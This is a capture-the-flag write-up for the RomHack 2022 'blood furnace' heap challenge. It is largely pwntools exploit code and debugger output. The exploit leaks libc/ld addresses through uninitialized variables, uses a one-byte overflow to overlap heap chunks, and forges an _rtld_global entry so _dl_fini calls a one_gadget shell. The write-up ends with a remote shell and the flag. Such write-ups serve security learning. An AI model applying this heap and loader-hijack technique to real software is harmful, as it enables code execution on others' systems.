RomHack 2022 CTF - blood furnace
Attachment: pwn_blood_furnace.zip xpl.py
== Available Actions ==
1. Enter the Dungeon.
2. Edit your character.
3. Run Away.
Option [1-3]:
This challenge was a small mini rpg. When starting it, you can set a name, guild and background story and select a weapon.
For the game itself, you’ll have the choice to enter a dungeon, which will let you “fight” different monsters or to edit your character information (though, this info will never be shown).
Let’s start with getting some leaks first.
void get_drop ( int drop_idx )
{
long price2 ;
long price1 ;
char input [ 72 ];
memset ( input , 0 , 3 );
fgets ( input , 3 , stdin );
if ( input [ 0 ] == 'y' )
{
fprintf ( stdout , " \x1B [1;37m \n %s" , "At what price? " );
__isoc99_scanf ( "%ld" , & price1 );
getchar ();
fprintf ( stdout , " \x1B [1;37m \n You sold a %s for %ld coins. \n " , drops [ a1 ], price1 );
}
puts ( " \n\x1B [1;33m A legendary sword is dropped! \n " );
fprintf ( stdout , " \x1B [1;31m \n %s \n " , "[!] Your Inventory is full!" );
fprintf ( stdout , " \x1B [1;37m \n %s" , "Do you want to quick sell? [y/n] " );
memset ( input , 0 , 3 );
fgets ( input , 3 , stdin );
if ( input [ 0 ] == 'y' )
{
fprintf ( stdout , " \x1B [1;37m \n %s" , "At what price? " );
__isoc99_scanf ( "%ld" , & price2 );
getchar ();
fprintf ( stdout , " \x1B [1;37m \n You sold a legendary sword for %ld coins. \n " , price2 );
}
}
Winning against a monster will give you a random drop and lets you specify a price to sell it. Using +
as price in scanf
will result in using the current value at that address (which is not initialized).
price1
will point to a libc address and price2
will point to _rtld_global
in ld
, so we can leak both of them.
So let’s fight monsters until we win, sell our loot and fetch those leaks.
def init ( name , guild , story ):
r . sendlineafter ( ": " , name )
r . sendlineafter ( ": " , guild )
r . sendlineafter ( ": " , story )
r . sendlineafter ( ": " , "1" )
def get_leak ():
r . sendline ( "1" )
r . recvuntil ( "]: " )
# fight until we win and sell loot
while True :
r . sendline ( "1" )
r . recvline ()
TEST = r . recvline ()
print ( "T: " + TEST )
if "fatal attack" in TEST :
r . sendlineafter ( "[y/n] " , "y" )
r . sendlineafter ( "price? " , "+" )
r . recvuntil ( "for " )
LEAK = int ( r . recvuntil ( " coins" , drop = True ))
r . sendlineafter ( "[y/n] " , "y" )
r . sendlineafter ( "price? " , "+" )
r . recvuntil ( "for " )
LEAK2 = int ( r . recvuntil ( " coins" , drop = True ))
return LEAK , LEAK2
else :
r . recvuntil ( "]: " )
def exploit ( r ):
# create initial chunks
init ( "A" * ( 0x20 - 8 - 1 ), "B" * ( 0x110 - 8 - 1 ), "C" * ( 0x110 - 8 - 1 ))
r . recvuntil ( "]: " )
# leak libc and ld from drops
LIBCLEAK , LDLEAK = get_leak ()
r . recvuntil ( "]: " )
log . info ( "LIBC LEAK : %s" % hex ( LIBCLEAK ))
log . info ( "LD LEAK : %s" % hex ( LDLEAK ))
libc . address = LIBCLEAK - 0x8cf43
log . info ( "LIBC : %s" % hex ( libc . address ))
$ python xpl.py
[*] '/home/kileak/ctf/rom/bloodfurnace/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './blood_furnace': pid 19418
[19418]
[*] Paused (press any to continue)
T: The enemy counter attacked you!, Ouch!
T: You delivered a fatal attack to the enemy!
[*] LIBC LEAK : 0x7ffff7e1ff43
[*] LD LEAK : 0x7ffff7ffd040
[*] LIBC : 0x7ffff7d93000
With those leaks at hand, let’s see, if we can do some memory corruption to bring them to good use.
unsigned char edit_name ()
{
void ** v0 ;
size_t len_name ;
size_t len_original ;
char * s ;
if ( ( unsigned __int8 ) countNameRenames > 1 )
{
fprintf ( stdout , " \x1B [1;31m \n %s \n " , "[!] A man with many faces!" );
exit ( - 1 );
}
fprintf ( stdout , " \x1B [1;37m \n %s" , "Character Name: " );
read_input ();
len_name = strlen ( input_buffer );
len_original = strlen ( gCharacter -> Name ) + 1 ; // 1 byte oob
if ( len_name <= len_original )
{
s = * ( char ** ) gCharacter ;
memset ( * ( void ** ) gCharacter , 0 , len_original );
}
else
{
free ( * ( void ** ) gCharacter );
v0 = ( void ** ) gCharacter ;
* v0 = malloc ( len_name + 1 );
s = ( char * ) * v0 ;
memset ( * v0 , 0 , len_name );
}
strncpy ( s , input_buffer , len_name );
return countNameRenames ++ + 1 ;
}
When changing the player name, the function will check, if it has to reallocate the name chunk by comparing the length of the new name to the length of the original name (but it does a +1 here). If the length of the new name is <=
length of original name (+1), it will just reuse the chunk and copy the new name into it.
This allows us to enlarge the current name by one character without reallocating the chunk.
Choosing the initial name accordingly, we can first create for example a 0x20
chunk for name, which will contain a null byte at the end. We then do a 1 byte overwrite to completely fill it and align the name to the chunk size of the next chunk (which is the chunk for the guild name).
Changing the name again, strlen
will now include the next chunk size, allowing us to also overwrite it.
Initial name ("A"*(0x20-8-1))
0x55555555b6a0: 0x0000000000000000 0x0000000000000021
0x55555555b6b0: 0x4141414141414141 0x4141414141414141 <= name
0x55555555b6c0: 0x0041414141414141 0x0000000000000111 <= guild chunk size
0x55555555b6d0: 0x4242424242424242 0x4242424242424242 <= guild
0x55555555b6e0: 0x4242424242424242 0x4242424242424242
0x55555555b6f0: 0x4242424242424242 0x4242424242424242
0x55555555b700: 0x4242424242424242 0x4242424242424242
0x55555555b710: 0x4242424242424242 0x4242424242424242
0x55555555b720: 0x4242424242424242 0x4242424242424242
0x55555555b730: 0x4242424242424242 0x4242424242424242
0x55555555b740: 0x4242424242424242 0x4242424242424242
0x55555555b750: 0x4242424242424242 0x4242424242424242
0x55555555b760: 0x4242424242424242 0x4242424242424242
Changed name ("A"*(0x20-8)), now aligned to next chunk size
0x55555555b6a0: 0x0000000000000000 0x0000000000000021
0x55555555b6b0: 0x4141414141414141 0x4141414141414141 <= name
0x55555555b6c0: 0x4141414141414141 0x0000000000000111 <= guild chunk size
0x55555555b6d0: 0x4242424242424242 0x4242424242424242 <= guild
0x55555555b6e0: 0x4242424242424242 0x4242424242424242
0x55555555b6f0: 0x4242424242424242 0x4242424242424242
0x55555555b700: 0x4242424242424242 0x4242424242424242
0x55555555b710: 0x4242424242424242 0x4242424242424242
0x55555555b720: 0x4242424242424242 0x4242424242424242
Changed name again to overwrite followup chunk size
0x55555555b6a0: 0x0000000000000000 0x0000000000000021
0x55555555b6b0: 0x4141414141414141 0x4141414141414141 <= name
0x55555555b6c0: 0x4141414141414141 0x0000000000000251 <= guild chunk size (overwritten)
0x55555555b6d0: 0x4242424242424242 0x4242424242424242 <= guild
0x55555555b6e0: 0x4242424242424242 0x4242424242424242
0x55555555b6f0: 0x4242424242424242 0x4242424242424242
0x55555555b700: 0x4242424242424242 0x4242424242424242
0x55555555b710: 0x4242424242424242 0x4242424242424242
...
0x55555555b880: 0x4343434343434343 0x4343434343434343
0x55555555b890: 0x4343434343434343 0x4343434343434343
0x55555555b8a0: 0x4343434343434343 0x4343434343434343
0x55555555b8b0: 0x4343434343434343 0x4343434343434343
0x55555555b8c0: 0x4343434343434343 0x4343434343434343
0x55555555b8d0: 0x4343434343434343 0x4343434343434343
0x55555555b8e0: 0x0043434343434343 0x0000000000000031
0x55555555b8f0: 0x000055555555b6b0 0x0000000100000063 <= name ptr / hp
0x55555555b900: 0x000055555555b6d0 0x000055555555b7e0 <= guild ptr / story ptr
0x55555555b910: 0x0000000000000000 0x00000000000206f1
If we now try to change our guild, it’ll first free the guild chunk, which now has a size of 0x250
. So it will create a a freed chunk, which overlaps the story chunk and our player chunk at 0x55555555b8f0
.
Renaming our guild now with a name with an appropriate size, we can also overwrite the pointers in our player class.
def setname ( name ):
r . sendline ( "2" )
r . recvuntil ( "]: " )
r . sendline ( "1" )
r . sendline ( name )
r . recvuntil ( "]: " )
def setguild ( name ):
r . sendline ( "2" )
r . recvuntil ( "]: " )
r . sendline ( "2" )
r . sendlineafter ( ": " , name )
r . recvuntil ( "]: " )
def exploit ( r ):
...
# go into edit menu
r . sendline ( "2" )
r . recvuntil ( "]: " )
# change name to make it 1 byte longer
setname ( "A" * ( 0x20 - 8 ))
# change name again (now it can also overwrite next chunk size)
setname ( "A" * ( 0x20 - 8 ) + p16 ( 0x251 )) # overwrite guild size )
# reallocate guild and overwrite character info
payload = "A" * ( 16 * 0x10 )
payload += "BBBBBBBB" + p64 ( 0x111 )
payload += "B" * ( 16 * 0x10 )
payload += "CCCCCCCC" + p64 ( 0x31 )
payload += p64 ( 0xdeadbeef ) + p64 ( 0xcafebabe )
payload += p64 ( 0xfacebabe ) + p64 ( 0xfaceface )
setguild ( payload )
0x55555555b4a0: 0x4242424242424242 0x4242424242424242
0x55555555b4b0: 0x4343434343434343 0x0000000000000031
0x55555555b4c0: 0x00000000deadbeef 0x00000000cafebabe <= name ptr / hp
0x55555555b4d0: 0x00000000facebabe 0x00000000faceface <= guild ptr / story ptr
0x55555555b4e0: 0x0000000000000000 0x0000000000000000
0x55555555b4f0: 0x0000000000000000 0x0000000000000000
Now we have control over all pointers in our player class, but there’s no real “edit” functionality for those. The only thing we can do with those pointers is to free
and reallocate them with the edit character menu.
Thus, it’s time to find some memory regions, which will “look” like a valid chunk and can be freed.
Since I was already wondering, why we were given a leak to ld
, I checked the bss section of ld
and found this beauty :)
0x7ffff7ffdad0 <_rtld_global+2704>: 0x0000000000000000 0x0000000000000071 <= yummy fastbin size
0x7ffff7ffdae0 <_rtld_global+2720>: 0x0000000000000003 0x00007ffff7fb42c0
0x7ffff7ffdaf0 <_rtld_global+2736>: 0x00007ffff7fc3000 0x00007fffffffdfc2
0x7ffff7ffdb00 <_rtld_global+2752>: 0x00007ffff7ffce80 0x0000000000000000
0x7ffff7ffdb10 <_rtld_global+2768>: 0x00007ffff7fb4330 0x00007ffff7ffdaf0
0x7ffff7ffdb20 <_rtld_global+2784>: 0x0000000000000000 0x00007ffff7ffe280
0x7ffff7ffdb30 <_rtld_global+2800>: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdb40 <_rtld_global+2816>: 0x00007ffff7ffcf00 0x00007ffff7ffcef0
0x7ffff7ffdb50 <_rtld_global+2832>: 0x00007ffff7ffce90 0x00007ffff7ffceb0
0x7ffff7ffdb60 <_rtld_global+2848>: 0x00007ffff7ffcec0 0x00007ffff7ffcf30
0x7ffff7ffdb70 <_rtld_global+2864>: 0x00007ffff7ffcf40 0x00007ffff7ffcf50
0x7ffff7ffdb80 <_rtld_global+2880>: 0x00007ffff7ffced0 0x00007ffff7ffcee0
This we can easily free and reallocate, so let’s first write some junk there, to see, if it will have any effect on execution.
# reallocate guild and overwrite character info
payload = "A" * ( 16 * 0x10 )
payload += "BBBBBBBB" + p64 ( 0x111 )
payload += "B" * ( 16 * 0x10 )
payload += "CCCCCCCC" + p64 ( 0x31 )
payload += p64 ( 0xdeadbeef ) + p64 ( 0xcafebabe )
payload += p64 ( LDLEAK + 0xaa0 ) + p64 ( LDLEAK + 0xaa0 ) # point guild to ld rtld_global
setguild ( payload )
# write guild in rtld_global
payload = cyclic_metasploit ( 0x70 - 8 - 1 )
setguild ( payload )
Exiting after the last guild overwrite, we’ll crash in _dl_fini
$rax : 0x3562413462413362 ("b3Ab4Ab5"?)
$rbx : 0x00007ffff7ffd040 → 0x00007ffff7ffe2f0 → 0x00007ffff7fb6000 → 0x00010102464c457f
$rcx : 0x0
$rdx : 0x2
$rsp : 0x00007fffffffd9d0 → 0x00007ffff7ffe2f0 → 0x00007ffff7fb6000 → 0x00010102464c457f
$rbp : 0x00007fffffffda50 → 0x0000000000000000
$rsi : 0x3
$rdi : 0x0
$rip : 0x00007ffff7fc9151 → <_dl_fini+273> cmp QWORD PTR [rax+0x28], rax
$r8 : 0x1999999999999999
$r9 : 0x0
$r10 : 0x00007ffff7f4aac0 → 0x0000000100000000
$r11 : 0x00007ffff7f4b3c0 → 0x0002000200020002
$r12 : 0x0
$r13 : 0x00007ffff7ffda48 → 0x0000000100000001
$r14 : 0x00007fffffffd9d0 → 0x00007ffff7ffe2f0 → 0x00007ffff7fb6000 → 0x00010102464c457f
$r15 : 0x4
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7fc9148 <_dl_fini+264> mov rax, QWORD PTR [rax+0x18]
0x7ffff7fc914c <_dl_fini+268> test rax, rax
0x7ffff7fc914f <_dl_fini+271> je 0x7ffff7fc917f <_dl_fini+319>
→ 0x7ffff7fc9151 <_dl_fini+273> cmp QWORD PTR [rax+0x28], rax
0x7ffff7fc9155 <_dl_fini+277> jne 0x7ffff7fc9148 <_dl_fini+264>
0x7ffff7fc9157 <_dl_fini+279> cmp r15d, esi
0x7ffff7fc915a <_dl_fini+282> jbe 0x7ffff7fc937e <_dl_fini+830>
0x7ffff7fc9160 <_dl_fini+288> mov edx, esi
0x7ffff7fc9162 <_dl_fini+290> mov QWORD PTR [r14+rdx*8], rax
────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd9d0│+0x0000: 0x00007ffff7ffe2f0 → 0x00007ffff7fb6000 → 0x00010102464c457f ← $rsp, $r14
0x00007fffffffd9d8│+0x0008: 0x00007ffff7ffe930 → 0x00007ffff7fc1000 → 0x00010102464c457f
0x00007fffffffd9e0│+0x0010: 0x00007ffff7fb4330 → 0x00007ffff7d8c000 → 0x03010102464c457f
0x00007fffffffd9e8│+0x0018: 0x00007ffff7fc90e6 → <_dl_fini+166> mov eax, r15d
0x00007fffffffd9f0│+0x0020: 0x0000000000000003
0x00007fffffffd9f8│+0x0028: 0x00007fffffffd9f0 → 0x0000000000000003
We control rax
and it’ll check, if rax+0x28
equals rax
. We can easily fulfill this check, since we control the complete chunk in rtld_global
.
# reallocate guild again (now overwriting entry in rtld_global)
payload = ""
payload += p64 ( 0xdead0000 ) + p64 ( 0xdeadbee6 )
payload += p64 ( 0xdeadbee7 ) + p64 ( 0 )
payload += p64 ( 0xdeadbee9 ) + p64 ( LEAK2 + 0xaa0 ) # pointer to start of rtld entry to pass check
payload += p64 ( 0xdeadbee3 ) + p64 ( 0xdedbeea )
payload += p64 ( 0xdeadbee4 ) + p64 ( 0xdeadbeeb )
payload += p64 ( 0xdeadbee5 ) + p64 ( 0xdeadbee6 )
payload += p64 ( 0xdeadbeef )[: 6 ]
setguild ( payload )
Running it again and exiting, we will pass the cmp
and continue to
$rax : 0x00007ffff7ffcee0 → 0x000000000000000b ("
"?)
$rbx : 0x00007ffff7ffd040 → 0x00007ffff7ffe2f0 → 0x00007ffff7fb6000 → 0x00010102464c457f
$rcx : 0x0
$rdx : 0x00007ffff7fbad20 → 0x00007ffff7fb7380 → 0x3d4d3d80fa1e0ff3
$rsp : 0x00007fffffffd9d0 → 0x00007ffff7ffe2f0 → 0x00007ffff7fb6000 → 0x00010102464c457f
$rbp : 0x00007fffffffda50 → 0x0000000000000000
$rsi : 0x0
$rdi : 0x00007ffff7fb4330 → 0x00007ffff7d8c000 → 0x03010102464c457f
$rip : 0x00007ffff7fc926b → <_dl_fini+555> mov rax, QWORD PTR [rax+0x8]
$r8 : 0x00007fffffffd9d0 → 0x00007ffff7ffe2f0 → 0x00007ffff7fb6000 → 0x00010102464c457f
$r9 : 0x20
$r10 : 0x0
$r11 : 0x00007fffffffd900 → 0x00007ffff7ffe2f0 → 0x00007ffff7fb6000 → 0x00010102464c457f
$r12 : 0x0
$r13 : 0x00007ffff7ffda48 → 0x0000000000000000
$r14 : 0x00007fffffffd9e8 → 0x00007ffff7ffdae0 → 0x00000000dead0000
$r15 : 0x00007ffff7ffdae0 → 0x00000000dead0000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7fc925f <_dl_fini+543> mov rax, QWORD PTR [r15+0xa8]
0x7ffff7fc9266 <_dl_fini+550> test rax, rax
0x7ffff7fc9269 <_dl_fini+553> je 0x7ffff7fc9274 <_dl_fini+564>
→ 0x7ffff7fc926b <_dl_fini+555> mov rax, QWORD PTR [rax+0x8]
0x7ffff7fc926f <_dl_fini+559> add rax, QWORD PTR [r15]
0x7ffff7fc9272 <_dl_fini+562> call rax
0x7ffff7fc9274 <_dl_fini+564> mov rdi, r15
0x7ffff7fc9277 <_dl_fini+567> call 0x7ffff7fde590 <_dl_audit_objclose>
0x7ffff7fc927c <_dl_fini+572> sub DWORD PTR [r15+0x318], 0x1
───────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd9d0│+0x0000: 0x00007ffff7ffe2f0 → 0x00007ffff7fb6000 → 0x00010102464c457f ← $rsp, $r8
0x00007fffffffd9d8│+0x0008: 0x00007ffff7ffe930 → 0x00007ffff7fc1000 → 0x00010102464c457f
0x00007fffffffd9e0│+0x0010: 0x00007ffff7fb4330 → 0x00007ffff7d8c000 → 0x03010102464c457f
0x00007fffffffd9e8│+0x0018: 0x00007ffff7ffdae0 → 0x00000000dead0000 ← $r14
0x00007fffffffd9f0│+0x0020: 0x0000000000000003
0x00007fffffffd9f8│+0x0028: 0x00007fffffffd9f0 → 0x0000000000000003
gef➤ x/gx $rax+0x8
0x7ffff7ffcee8: 0x0000000000000018
This will take the value at r15
, which points to the first value in our fake chunk, adds 0x18
(from $rax+0x8
) to it and then calls it :)
$rax : 0xdead0018
$rbx : 0x00007ffff7ffd040 → 0x00007ffff7ffe2f0 → 0x00007ffff7fb6000 → 0x00010102464c457f
$rcx : 0x0
$rdx : 0x00007ffff7fbad20 → 0x00007ffff7fb7380 → 0x3d4d3d80fa1e0ff3
$rsp : 0x00007fffffffd9c8 → 0x00007ffff7fc9274 → <_dl_fini+564> mov rdi, r15
$rbp : 0x00007fffffffda50 → 0x0000000000000000
$rsi : 0x0
$rdi : 0x00007ffff7fb4330 → 0x00007ffff7d8c000 → 0x03010102464c457f
$rip : 0xdead0018
$r8 : 0x00007fffffffd9d0 → 0x00007ffff7ffe2f0 → 0x00007ffff7fb6000 → 0x00010102464c457f
$r9 : 0x20
$r10 : 0x0
$r11 : 0x00007fffffffd900 → 0x00007ffff7ffe2f0 → 0x00007ffff7fb6000 → 0x00010102464c457f
$r12 : 0x0
$r13 : 0x00007ffff7ffda48 → 0x0000000000000000
$r14 : 0x00007fffffffd9e8 → 0x00007ffff7ffdae0 → 0x00000000dead0000
$r15 : 0x00007ffff7ffdae0 → 0x00000000dead0000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd9c8│+0x0000: 0x00007ffff7fc9274 → <_dl_fini+564> mov rdi, r15 ← $rsp
0x00007fffffffd9d0│+0x0008: 0x00007ffff7ffe2f0 → 0x00007ffff7fb6000 → 0x00010102464c457f ← $r8
0x00007fffffffd9d8│+0x0010: 0x00007ffff7ffe930 → 0x00007ffff7fc1000 → 0x00010102464c457f
0x00007fffffffd9e0│+0x0018: 0x00007ffff7fb4330 → 0x00007ffff7d8c000 → 0x03010102464c457f
0x00007fffffffd9e8│+0x0020: 0x00007ffff7ffdae0 → 0x00000000dead0000 ← $r14
0x00007fffffffd9f0│+0x0028: 0x0000000000000003
[!] Cannot access memory at address 0xdead0018
So, we got rip control and what’s even better, this fulfills all constraints for the following one_gadget
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
All there’s left, is to put the address of our one_gadget (-0x18) at the start of our chunk and give it a go.
# reallocate guild again (now overwriting entry in rtld_global)
payload = ""
payload += p64 ( libc . address + 0xebcf1 - 0x18 ) + p64 ( 0xdeadbee6 )
payload += p64 ( 0xdeadbee7 ) + p64 ( 0 )
payload += p64 ( 0xdeadbee9 ) + p64 ( LEAK2 + 0xaa0 ) # pointer to start of rtld entry to pass check
payload += p64 ( 0xdeadbee3 ) + p64 ( 0xdedbeea )
payload += p64 ( 0xdeadbee4 ) + p64 ( 0xdeadbeeb )
payload += p64 ( 0xdeadbee5 ) + p64 ( 0xdeadbee6 )
payload += p64 ( 0xdeadbeef )[: 6 ]
setguild ( payload )
# exit to trigger one_gadget
r . sendline ( "3" )
kileak@beast:~/ctf/rom/bloodfurnace$ python xpl.py 1
[*] '/home/kileak/ctf/rom/bloodfurnace/t/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 104.248.162.85 on port 31273: Done
T: The enemy counter attacked you!, Ouch!
T: The enemy counter attacked you!, Ouch!
T: The enemy counter attacked you!, Ouch!
T: You delivered a fatal attack to the enemy!
[*] LEAK : 0x7fbce482ef43
[*] LEAK LD : 0x7fbce4a0c040
[*] LIBC : 0x7fbce47a2000
[*] Switching to interactive mode
$ ls
blood_furnace
flag.txt
ld.so.2
libc.so.6
$ cat flag.txt
HTB{Bl00d_furnance_l1nck3r_c0rrupt1on}